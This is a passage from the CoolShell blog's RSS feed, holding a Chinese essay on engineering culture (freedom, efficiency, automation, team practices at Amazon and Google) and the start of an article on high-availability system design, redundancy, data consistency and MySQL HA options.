href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/17524.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>66</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>什么是工程师文化？</title>\n\t\t<link>https://coolshell.cn/articles/17497.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/17497.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sun, 18 Sep 2016 08:23:11 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术管理]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[流程方法]]></category>\n\t\t<category><![CDATA[职场生涯]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=17497</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>四年前，我在QCon上演讲了一个《建一支强大的小团队》（整理后的PPT分享于这里）提到了工程师文化，今天，我想在这里再写一篇关于工程师文化的文章，一方面是因为我...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/17497.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/17497.html\">什么是工程师文化？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-full wp-image-17500\" src=\"https://coolshell.cn/wp-content/uploads/2016/09/engineer.jpg\" alt=\"engineer\" width=\"300\" height=\"203\" /> 四年前，我在QCon上演讲了一个《<a href=\"http://www.infoq.com/cn/presentations/Form-powerful-team\" target=\"_blank\">建一支强大的小团队</a>》（整理后的<a href=\"http://vdisk.weibo.com/s/gN-sQ/1351485199\">PPT分享于这里</a>）提到了工程师文化，今天，我想在这里再写一篇关于工程师文化的文章，一方面是因为我又有了一些想法和体会，另一方面，因为我也正走在创业的道路，毫无疑问，要建一个有浓重的工程师文化的团队或公司，所以有必要把自己的相关想法形有成白底黑字的“字据”，以供打自己的脸——“要是未来没有做到，这篇文章就打我未来的脸” || “这篇文章太幼稚了，未来的我会打我现在的脸”，当然，如果要打脸，我希望是前者。</p>\n<p>Again，<strong>这篇文章不是招人的贴子，因为我觉得，招聘第一重要的事，不是发招聘广告或是找猎头挖人，而是先得让自己变成一个能配得上真正工程师的公司，然后再谈吸引人的事</strong>。</p>\n<h4>为什么要工程师文化</h4>\n<p>看看最近二十年来社会的发展，计算机和互联网已经渗透到了这个社会的每一个角落，各式各样的计算机技术成为了整个世界发展的强大引擎，各式各样的创新，无论是业务创新还是技术创新，都是依托于技术的快速演进，技术成了解放生产力提高社会运作的效率的中坚力量。以美帝为首的技术创新公司着着实实的改变着这个世界和人类的生活和生产习惯。</p>\n<p><strong>今天，每个从事计算机行业的技术人员都应该感到幸运，因为，我们不但选对了行业，也出生在了正确的时代，可以感受到前所未有的刺激和变化，相比起我们的父辈，我们的人生，能经历这样的时代，实在是一种幸运。</strong>所以，选对了职业并出生在了正确的年代的我们，此时只需要思考的一个问题，那就是，我是否呆在了正确的地方用正确的方式做事？</p>\n<p><span id=\"more-17497\"></span></p>\n<p>在我看来，这个世界上有三种商业公司，</p>\n<ul>\n<li><strong>运营或销售驱动型的公司</strong>。这类的公司以运营和营销见长，技术对于他们来说，更多的只是为了支持大规模的营销活动，以及成本上的控制，所以，基本上来说不太需要技术创新。这种公司最大的问题就是缺乏安全感。</li>\n</ul>\n<ul>\n<li><strong>产品驱动型的公司</strong>。这类公司以产品见长，通过创造能提升用户生活体验的产品见长，技术对于他们来说，除了支持大规模的在线用户之外，他们会更多的去寻找那些为了增强用户体验，提高整个业务流程效率的技术创新。比如：UI的交互方面的，整个业务流程方面的。这种公司最大的问题，就是容易被别人模仿和抄袭。</li>\n</ul>\n<ul>\n<li><strong>技术驱动型的公司</strong>。这类的公司相信技术能改变世界，他们更多的是用强大的工程技术来创造有颠覆性的东西，更多的是用各种自动化的技术取代人类。比如：近代的蒸汽机技术取代了大量的人工，数字技术取代了大量信息传递的人工，现代，这类公司还希望通过人工智能来取代愚蠢的人类来做决定。这种公司最大的问题就是可能做出叫好不叫座的东西。</li>\n</ul>\n<p>这三种公司都可能成功，也都有问题，但是，无一例外，他们都需要强大的技术支撑，只不过，他们把技术所放在的位置不一样。</p>\n<p>无论你有多么的看不起技术人员，你都无法否认，你今天的生活相当的依赖这帮工程师，没有他们，你恐怕都不知道怎么生活了。邓爷爷几十年前就说过——“科学技术是第一生产力” ，无论什么样的科学技术的理论要落地都会依赖于工程技术有多先进。</p>\n<p>所以，<strong>在今天，作为一个IT或互联网公司，“工程师文化”不是一个问题，而是一个常识</strong>！</p>\n<h4>工程师文化的特征</h4>\n<p>我下面罗列的这些特征，来源于：Google的《<a href=\"https://book.douban.com/subject/26582822/\">重新定义公司</a>》，我在Amazon的工作经历，37Signals的《<a href=\"https://coolshell.cn/articles/9156.html\" target=\"_blank\">Rework</a>》，Quora上的 <a href=\"https://www.quora.com/What-makes-a-good-engineering-culture\">What Makes Good Engineering Culture?</a>  Slideshare上的 <a href=\"http://www.slideshare.net/edmondlau/what-makes-a-great-engineering-culture\">What Makes Good Engineering Culture</a>，以及我最近这半年来的一些实践。</p>\n<p>简单说来，<strong>我可以简单的把这多的工程师文化的总结成两大类：“自由” 和 “效率”</strong>。</p>\n<p>本来还应该有个“创新”，但我个人认为，<strong>创新的前提是——在自由的环境下对提高效率的痴迷，就一定会发生创新。</strong></p>\n<p>创新不是凭空出现新的东西，其实，<strong>观察一下人类的发展史，不难发现，几乎所有的创新基本上跳出原来的思维模式用新的思维模式对原有问题的效率进行质的提升</strong>。比如：通信、交通、医疗、教育、生活……几乎全都是在优化效率。</p>\n<p>所以，如果你的精神不自由，你很难跳出老的思维模式，你用老的思维模式你一定不会想到新的方法和方式，如果不是对效率的提升，这个创新可能会不接地气。</p>\n<p>因此，我认为，工程师文化就是自由加效率！</p>\n<h4>自由</h4>\n<p>首先，工程师文化意味的创新文化，工程师都是有创新冲动的人，因为手里有创造技能的人通常都会有想创造点什么的冲动。而创新的源泉水来源于精神的解放，精神自由才会引发各式各样的奇思怪想，才会有常人觉得不可能的疯狂想法和想像力，而这些想法和想像力导致了创新。</p>\n<p>精神上的自由具体表现在：</p>\n<ul>\n<li><strong>自我驱动</strong>。自己管理自己是最好的管理。最失败的管理就是家长和保姆式的管理。兴趣出发的工作才可能迸发出真正的动力。</li>\n</ul>\n<ul>\n<li><strong>灵活的工作时间和地点</strong>。工程师们更多的是脑力工作，而不是体力工作，工作上时间和地点的自由安排可以让工程师们的脑力工作更有效。Remote是一个很不错的工作方式，开源社区基本上都是这钟方式。和Remote有关的话题可参看37Signals的这本书《<a href=\"https://book.douban.com/subject/25861795/\" target=\"_blank\">Remote</a>》</li>\n</ul>\n<ul>\n<li><strong>信息平等</strong>。这意味着，全体员工得到的是原始信息，而不是被管理者们层层加工消化后的信息，信息的屏蔽很容易造成误解和完全错误的行为。信息的平等，大的包括战略、方向、目标、财务，小的包括文档、代码、和知识的共享等。同样，也表现在意见表达上，任何人都有可能表达自己的意见和建议的平等机会，这样才会激发出更多的思路和思辩，从而有不同的更好的思路出现。而不是，大家都看到了问题，而没有人敢说。在Google除了代码全员共享，还有Thanks God, It&#8217;s Friday的文化，每周五，高管们会出来，任员工提各种尖锐的问题，在Amazon，代码和文档基本上全员开放，包括财务报表也对员工开放，另外，除了所有的NB的Principle SDE隔三岔五都会有一个Principle Talk（有很多Talk相当令人开脑洞），还有Amazon内部的Up the River文化，每年会选出一批公司最聪明最有想法的人集思会，讨公司下一步的和战略，并可以把相应的KPI直接按给Senior VP。</li>\n</ul>\n<ul>\n<li><strong>不害怕错误</strong>。处理错误的正确的姿势是分析总结教训，而不是惩罚故障人。前者让人改善进步，后者让人萎缩不前。最大的错误就是不敢犯错，最大的问题就是不敢直面问题。</li>\n</ul>\n<ul>\n<li><strong>宽松的审批系统甚至没有审批系统</strong>。审批通常暗示着三件事，1）对人的不完全信任，2）繁琐的流程，3）思维上的束缚。这些都是创新和想像力的天敌。一个公司的监管、审批、流程越重，这个公司的活力也就越差。</li>\n</ul>\n<ul>\n<li><strong>20%的自由时间</strong>。这是Google公司提出来的，员工有20%自由的时间做自己想做的项目，Gmail就是这么出来的。</li>\n</ul>\n<h4>效率</h4>\n<p>工程师天生是追求效率的。有人说认为程序员花大量的时间做自动化的工具，还不如人肉的效率高，比如，写自动化的脚本花5个小时，而重复做这件事200次只花3个小时。有这样的理解的人根本不懂工程。</p>\n<p>一方面，这个工具可以共享重用，更多的人可以从中受益，这次我花5个小时开发这个工具，下次只用1小时改一下就可以用在别的地方，这是着眼于未来而不是眼下的成本。更重要的是，这是一种文化，一种提高效率的文化，他会鼓励和激发出更多的这样的事情发生。<strong>如果你因为一个程序员花大量的时间开发自动化的工具，而认为这个程序员没有效率，对之批评甚至惩罚的话，那么你就扼杀了提高效率的文化</strong>（关于效率，大家可以看看我的另一篇文章《<a href=\"https://coolshell.cn/articles/10217.html\" target=\"_blank\">关于加班和效率</a>》，你会真正了解什么是效率）</p>\n<p><strong>人类之所以比别的动物聪明就是会使用和发明工具</strong>，而古语也有云：“工欲善其事，必先利其器”，看看美军的装备你就知道战争工具的好坏有多重要了，<strong>一个公司的强大之处在执行力，而执行力的强大之处在于你有什么样的支持工具。这些，已经不是工程师文化，而是人类发展的文化</strong>。</p>\n<p>针对于工程师文化来说，尤其是软件工程，提升工程效率的具体表现如下：</p>\n<ul>\n<li><strong>简化</strong>。简化不是简陋，简单的东西通常意味着用户更好理解，也意味着更容易的维护和运维。就像阿里推行的“小而美”，就像乔布期推崇的“没有产品手册简单易用的产品”，就像Amazon推行的Working Backwards里说的那样，一个新的产品或功能，产品经理需要写三个文档：媒体公关文、用户手册、常见问题，三个文档总共加起来不超过两页A4纸，且不准用任何图片说明，目的就是为了让产品简化和容易使用。</li>\n</ul>\n<ul>\n<li><strong>残酷无情的推行自动化</strong>。编写程序的最本质的目的就是自动化，看看人类发展史上自动化了多少东西。<strong>对于自动化来说，不仅仅只是消除人肉的重复劳动，更重要的是，很多事情人完全干不过机器。</strong>比如：加一台机器，程序在秒级就可以完成，而人是永远不可能达到这样的速度的，再比如：电商中用程序管理数量巨大的订单的自动化系统，加再多的人都完成的不可能像机器那样完成的又好又快。自动化需要大力开发提高生产力的工具，比如：持续集成，持续部署，自动化运维，基础自动化运维，甚至自动化的运营工具。（Amazon的软件工程中对自动化和简代相当迷恋）</li>\n</ul>\n<ul>\n<li><strong>避免无效率的组织架构和无效率的管理</strong>。这体现在这些方面：1）扁平化的组织架构，2）努力用自动化工具取代支持型的工作，3）不超过10个人的全栈小团队，4）不按人员的技能分工而是按其负责的产品或功能分工（关于分工，请参看《<a href=\"https://coolshell.cn/articles/17295.html\" target=\"_blank\">让我们来谈谈分工</a>》），5）开会不是解决问题，开会是表决提案，6）通过产品的目标或信条Tenets来减少沟通和决策过程（Amazon里的每个部门，每个团队，每个产品都有自己的Tenets，这个Tenets标明了要什么不要什么，这样可以避免很多扯皮和难缠的trade-off的决择，比如：AWS的几个信条：运维是最高优级的——这意味着只要是会让运维变得复杂的需求都可能会工程团队被拒掉，Throughput &amp; Latency不能更差——这意味着，功能要为性能让路，因为性能变差了，用户就要买更多的资源）</li>\n</ul>\n<ul>\n<li><strong>正确的组件抽象</strong>。抽象是简化的一部份，一方面，抽象意味着重用和通用，另一方面抽象意味着强大的扩展性，以适配各种可能性。最重要的是，抽象意味着技术能力的输出，无论是内部的其它团队还外部的团队。比如：Google的MapReduce/BigTable/ProtoBuffer，FaceBook的Thrift，还有Amazon内部的WebService框架Coral Service、处理日志监控的Timber，以及全线AWS产品都用到的Amazon Lock Framework（一个分布式锁框架）……</li>\n</ul>\n<ul>\n<li><strong>开发高质量的产品</strong>。因为高质量的代码，不但可以容易的修改和维护，还可以因为少处理线上故障，从而有更多的时间去为未来做更多创造性的工作。这意味着需要有非常严谨的Design Review，Code Review，以及测试，关于Code Review，可以参看这篇文章《<a href=\"https://coolshell.cn/articles/11432.html\" target=\"_blank\">从Code Review 谈如何做技术</a>》，关于严谨的测试，可以参看这篇文章《<a href=\"https://coolshell.cn/articles/17381.html\" target=\"_blank\">如何做性能测试</a>》</li>\n</ul>\n<ul>\n<li><strong>不断的提高标准以及招聘最好的人</strong>。取法其上，得乎其中，取法其中，得乎其下，取法其下，法不得也。如果一个公司或一个团队想变得越来越好，越来越强大的话，就必需要不断的提高自己的工作标准，提高工作标准意味着要不断地培养和招聘更好的人。在Amazon和Google的招聘官中都有一个叫Bar Rasier的人，这个人就是为了提高招聘标准而设立的。</li>\n</ul>\n<ul>\n<li><strong>创建一个持续改善的文化</strong>。一个好的组织，一个好的团队，是需要不断反思前进的，这需要全体员工一起来的。微观层面上，在项目做完后需要有一个总结会分析项目中的得失，在故障出现后，需要有故障分析会，反思得失，在Amazon，严重的故障，需要写一个COE（Correction of Errors）的文档，其中有一节叫“Ask 5 Whys”，让你自己问自己至少5个为什么。在宏观层面，一个公司每年都应该做一定的工作数据分析或是员工调查，比如，是否招聘到了不错的人、工作的投入产出比，员工在哪些地方花时间了，等等，然后不断的用技术手段来改善。（Amazon每年的工程师员工调查表是我活那么大见过的最细最细的调查表了， 问题除了对公司、经理、文化的，还有从，日常工作、开发环境、持结集成，测试自动化、产品质量、软件架构、软件维护、线上问题处理、年度计划、数据仓库建设、通用工具投票……这个员工调查直接导致公司的对工程的投资方向）</li>\n</ul>\n<h4>工程师文化如何落地</h4>\n<p>如果你要让任何文化在公司内得到执行，你有下面几个手段可以选择：</p>\n<ul>\n<li><strong>通过政治手段：你需要把住三个地方——招聘、绩效考核 &amp; 升职</strong>。比如，你要落地工程师文化中的简化和自动化，那你你在招聘的时候，你需要把懂简化和喜欢自动化的人招进来，然后在绩效考核和升职的地方设置上一条硬性指标——你今年简化了什么？自动化了什么？如果没有，对不起不但不能升职，绩效可能还不达标。</li>\n</ul>\n<ul>\n<li><strong>通过经济手段：让不做这事的成本 &gt; 要做这个的成本。</strong>然后，正常的人类都会选择成本低的方案。比如，如果你要推行Design/Code Review/UT以提高质量，你就把QA和OPS团队全挪到一边去，让Dev团队自己测试，自己负责，这样等这些Dev重复多次手动测试，处理多次线上的弱智故障，他们就会自然而然的写自动化测试和做Code Review了，而QA和OPS团队只是帮Dev你做工具罢了，而测试和运维的事全是你DEV的Ownership，出了故障也是Dev自己负责，于是，他们就会发现，不做Code Review和UT的成本远远大于做C Code Review/UT的成本，他们就会去做成本低的事的。</li>\n</ul>\n<p>最后，工程师文化要落地，还有几个小条件，</p>\n<ul>\n<li><strong>第一，团队要小，Ownership很重要，Eat Your Own Dog Food。</strong> 没有人帮你擦屁股，自己的屎自己吃，没有痛苦，不会产生想进步的动力。</li>\n</ul>\n<ul>\n<li><strong>第二，热爱学习和尝试</strong>，学习尝试新的技术，开拓眼界，学习尝试新的思维方式，否则，呆在原地，原有的思维方式只会让你在原地打转转。</li>\n</ul>\n<ul>\n<li><strong>第三，老板更多的相信技术而不是管理</strong>。相信技术会用技术来解决问题，相信管理，那就只会有制度、流程和价值观来解决问题。</li>\n</ul>\n<h4>其它</h4>\n<p>说了这么多，时代还在发展，不过，这是我这么多年经历或看到的工程师文化的东西了。最后吐几个槽——</p>\n<p>对于996和加班这个事，对于工程师来说从来都不是问题，在解决技术问题或是创造的时候，工程师是个很自觉的群体，基本不需要有别人驱动，工程师是最乐意Work Hard的人了。我相信几乎所有走上编程这个职业的人来说，基本上都是兴趣所至，觉得编程很有趣，但却被各个公司996搞得对编程毫无兴趣。为什么，你们这些公司要向中国的教育学习呢？人家本来对这事有比较高的兴趣的，但就是要通过考试/KPI/996这些东西把人家的兴趣一点一点的磨灭掉，把人变成机器、奴隶、牲口，<strong>让人对学习和工作产生了厌倦和讨厌，会是你们这些管理者们所希望的？是不是只有把人变得不思进取了，你们才会管理？</strong>就像《<a href=\"https://coolshell.cn/articles/4951.html\" target=\"_blank\">软件开发中的两种管理方式</a>》中说的第一种人一样？</p>\n<p>另外，我不知道，为什么我一说这些东西，就会有很多人（包括程序员自己）来和我说我是个理想主义者，这些已经不是什么理想了，已被很多成功的公司用了很多很多年了。只是你没有见到过罢了。还有的人说，因为中国的国情不同。这更让我费解了。这让我想到了当年大清朝派了一堆人出国考察后回来后，说外国的那套共和的东西不符合中国国情，最终也在历史的潮流中被淹没掉了。另外，什么叫“中国的国情不同”？中国有全世界数一数二的互联网用户，也有全世界数一数二的市场，不再是以前那个一穷二白的年代了，中国的国情到底有哪些不同呢？</p>\n<p>我不知道各位工程师是为什么活的？但我觉得，<strong>我们选择了一个刺激的职业，也赶上了这个行业大发展的时代，我们不妨扪心自问一下，你是否愿意让自己的能力、青春和热情就这样被磨灭了？</strong></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"http://coolshell.cn/articles/9156.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/03/rework-150x150.jpg\" alt=\"《Rework》摘录及感想\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/9156.html\" class=\"wp_rp_title\">《Rework》摘录及感想</a></li><li ><a href=\"http://coolshell.cn/articles/11432.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/04/code_review-150x150.jpg\" alt=\"从Code Review 谈如何做技术\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/11432.html\" class=\"wp_rp_title\">从Code Review 谈如何做技术</a></li><li ><a href=\"http://coolshell.cn/articles/5686.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" alt=\"多些时间能少写些代码\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/5686.html\" class=\"wp_rp_title\">多些时间能少写些代码</a></li><li ><a href=\"http://coolshell.cn/articles/4951.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg\" alt=\"软件公司的两种管理方式\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/4951.html\" class=\"wp_rp_title\">软件公司的两种管理方式</a></li><li ><a href=\"http://coolshell.cn/articles/11656.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/06/software_development-150x150.png\" alt=\"开发团队的效率\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/11656.html\" class=\"wp_rp_title\">开发团队的效率</a></li><li ><a href=\"http://coolshell.cn/articles/10217.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/07/Work-Overtime-150x150.jpg\" alt=\"加班与效率\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/10217.html\" class=\"wp_rp_title\">加班与效率</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/17497.html\">什么是工程师文化？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/17497.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>124</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>关于高可用的系统</title>\n\t\t<link>https://coolshell.cn/articles/17459.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/17459.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sun, 21 Aug 2016 04:34:53 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术管理]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[系统架构]]></category>\n\t\t<category><![CDATA[Design]]></category>\n\t\t<category><![CDATA[High Availability]]></category>\n\t\t<category><![CDATA[Paxos]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[分布式]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=17459</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>在《这多年来我一直在钻研的技术》这篇文章中，我讲述了一下，我这么多年来一直在关注的技术领域，其中我多次提到了工业级的软件，我还以为有很多人会问我怎么定义工业级？...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/17459.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/17459.html\">关于高可用的系统</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-medium wp-image-17475\" src=\"https://coolshell.cn/wp-content/uploads/2016/08/HighAvailability-BK-300x300.png\" alt=\"HighAvailability-BK\" width=\"300\" height=\"300\" srcset=\"https://coolshell.cn/wp-content/uploads/2016/08/HighAvailability-BK-300x300.png 300w, https://coolshell.cn/wp-content/uploads/2016/08/HighAvailability-BK-150x150.png 150w, https://coolshell.cn/wp-content/uploads/2016/08/HighAvailability-BK-768x768.png 768w, https://coolshell.cn/wp-content/uploads/2016/08/HighAvailability-BK-200x200.png 200w, https://coolshell.cn/wp-content/uploads/2016/08/HighAvailability-BK-270x270.png 270w, https://coolshell.cn/wp-content/uploads/2016/08/HighAvailability-BK.png 1000w\" sizes=\"(max-width: 300px) 100vw, 300px\" />在《<a href=\"https://coolshell.cn/articles/17446.html\" target=\"_blank\">这多年来我一直在钻研的技术</a>》这篇文章中，我讲述了一下，我这么多年来一直在关注的技术领域，其中我多次提到了工业级的软件，我还以为有很多人会问我怎么定义工业级？以及一个高可用性的软件系统应该要怎么干出来？这样我也可以顺理成章的写下这篇文章，但是没有人问，那么，我只好厚颜无耻的自己写下这篇文章了。哈哈。</p>\n<p>另外，我在一些讨论高可用系统的地方看到大家只讨论各个公司的技术方案，<strong>其实，高可用的系统并不简单的是技术方案，一个高可用的系统其实还包括很多别的东西，所以，我觉得大家对高可用的系统了解的还不全面，为了让大家的认识更全面，所以，我写下这篇文章</strong>。</p>\n<h4>理解高可用系统</h4>\n<p>首先，我们需要理解什么是高可用，英文叫High Availability（<a href=\"https://en.wikipedia.org/wiki/High_availability\">Wikipedia词条</a>），基本上来说，就是要让我们的计算环境（包括软硬件）做到full-time的可用性。在设计上一般来说，需要做好如下的设计：</p>\n<p><span id=\"more-17459\"></span></p>\n<ol>\n<li>对软硬件的冗余，以消除单点故障。任何系统都会有一个或多个冗余系统做standby</li>\n<li>对故障的检测和恢复。检测故障以及用备份的结点接管故障点。这也就是failover</li>\n<li>需要很可靠的交汇点（CrossOver）。这是一些不容易冗余的结点，比如域名解析，负载均衡器等。</li>\n</ol>\n<p>听起似乎很简单吧，然而不是，细节之处全是魔鬼，冗余结点最大的难题就是对于有状态的结点的数据复制和数据一致性的保证（无状态结点的冗余相对比较简单）。冗余数据所带来的一致性问题是魔鬼中的魔鬼：</p>\n<ul>\n<li>如果系统的数据镜像到冗余结点是异步的，那么在failover的时候就会出现数据差异的情况。</li>\n</ul>\n<ul>\n<li>如果系统在数据镜像到冗余结点是同步的，那么就会导致冗余结点越多性能越慢。</li>\n</ul>\n<p>所以，很多高可用系统都是在做各种取舍，这需要比对着业务的特点来的，比如银行账号的余额是一个状态型的数据，那么，冗余时就必需做到强一致性，再比如说，订单记录属于追加性的数据，那么在failover的时候，就可以到备机上进行追加，这样就比较简单了（阿里目前所谓的异地双活其实根本做不到状态型数据的双活）。</p>\n<p>下面，总结一下高可用的设计原理：</p>\n<ul>\n<li>要做到数据不丢，就必需要持久化</li>\n<li>要做到服务高可用，就必需要有备用（复本），无论是应用结点还是数据结点</li>\n<li>要做到复制，就会有数据一致性的问题。</li>\n<li>我们不可能做到100%的高可用，也就是说，我们能做到几个9个的SLA。</li>\n</ul>\n<h4>高可用系统的技术解决方案</h4>\n<p>我在《<a href=\"https://coolshell.cn/articles/10910.html\" target=\"_blank\">分布式系统的事务处理</a>》中引用过下面这个图：这个图来自来自：Google App Engine的co-founder Ryan Barrett在2009年的Google I/O上的演讲《<a href=\"http://snarfed.org/transactions_across_datacenters_io.html\" target=\"_blank\">Transaction Across DataCenter</a>》（视频： <a title=\"阿里旺旺无法确定该链接的安全性\" href=\"http://www.youtube.com/watch?v=srOgpXECblk\" target=\"_blank\">http://www.youtube.com/watch?v=srOgpXECblk</a>）</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-10942 aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2014/01/Transaction-Across-DataCenter.jpg\" alt=\"Transaction Across DataCenter\" width=\"566\" height=\"255\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/01/Transaction-Across-DataCenter.jpg 566w, https://coolshell.cn/wp-content/uploads/2014/01/Transaction-Across-DataCenter-300x135.jpg 300w\" sizes=\"(max-width: 566px) 100vw, 566px\" /></p>\n<p>这个图基本上来说是目前高可用系统中能看得到的所有的解决方案的基础了。M/S、MM实现起来不难，但是会有很多问题，2PC的问题就是性能不行，而Paxos的问题就是太复杂，实现难度太大。</p>\n<p>总结一下各个高可用方案的的问题：</p>\n<ul>\n<li>对于最终一致性来说，在宕机的情况下，会出现数据没有完全同步完成，会出现数据差异性。</li>\n<li>对于强一致性来说，要么使用性能比较慢的<a href=\"https://en.wikipedia.org/wiki/X/Open_XA\">XA系</a>的两阶段提交的方案，要么使用性能比较好，但是实现比较复杂的Paxos协议。</li>\n</ul>\n<p>注：这是软件方面的方案。当然，也可以使用造价比较高的硬件解决方案，不过本文不涉及硬件解决方案。</p>\n<p>另外，现今开源软件中，很多缓存，消息中间件或数据库都有持久化和Replication的设计，从而也都有高可用解决方案，但是开源软件一般都没有比较高的SLA，所以，如果我们使用开源软件的话，需要注意这一点。</p>\n<h4>高可用技术方案的示例</h4>\n<p>下面，我们来看一下MySQL的高可用的方案的SLA（下图下面红色的标识表示了这个方案有几个9）：</p>\n<p><a href=\"http://www.slideshare.net/andrewjamesmorgan/mysql-high-availability-solutions-feb-2015-webinar\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-17461\" src=\"https://coolshell.cn/wp-content/uploads/2016/08/mysql-high-availability-solutions-feb-2015-webinar-9-638.jpg\" alt=\"mysql-high-availability-solutions-feb-2015-webinar-9-638\" width=\"638\" height=\"359\" srcset=\"https://coolshell.cn/wp-content/uploads/2016/08/mysql-high-availability-solutions-feb-2015-webinar-9-638.jpg 638w, https://coolshell.cn/wp-content/uploads/2016/08/mysql-high-availability-solutions-feb-2015-webinar-9-638-300x169.jpg 300w\" sizes=\"(max-width: 638px) 100vw, 638px\" /></a></p>\n<p style=\"text-align: center;\">图片来源：<a href=\"http://www.slideshare.net/andrewjamesmorgan/mysql-high-availability-solutions-feb-2015-webinar\">MySQL High Availability Solutions</a></p>\n<p>简单解释一下MySQL的这几个方案（主要是想表达一个越多的9就越复杂）</p>\n<ul>\n<li>MySQL Repleaction就是传统的异步数据同步或是半同步Semi-Sync（只要有一个slave收到更新就返回成功）这个方式本质上不到2个9。</li>\n<li>MySQL Fabric简单来说就是数据分片下的M/S的读写分离模式。这个方案的的可用性可以达到99%</li>\n<li>DRBD通过底层的磁盘同步技术来解决数据同步的问题，就是RAID 1——把两台以上的主机的硬盘镜像成一个。这个方案不到3个9</li>\n<li>Solaris Clustering/Oracle VM ，这个机制监控了包括硬件、操作系统、网络和数据库。这个方案一般会伴随着节点间的“心跳机制”，而且还会动用到SAN（Storage Area Network）或是本地的分布式存储系统，还会动用虚拟化技术来做虚拟机的迁移以降低宕机时间的概率。这个解决方案完全就是一个“全栈式的解决方案”。这个方案接近4个9。</li>\n<li>MySQL Cluster是官方的一个开源方案，其把MySQL的集群分成SQL Node 和Data Node，Data Node是一个自动化sharing和复制的集群NDB，为了更高的可用性，MySQL 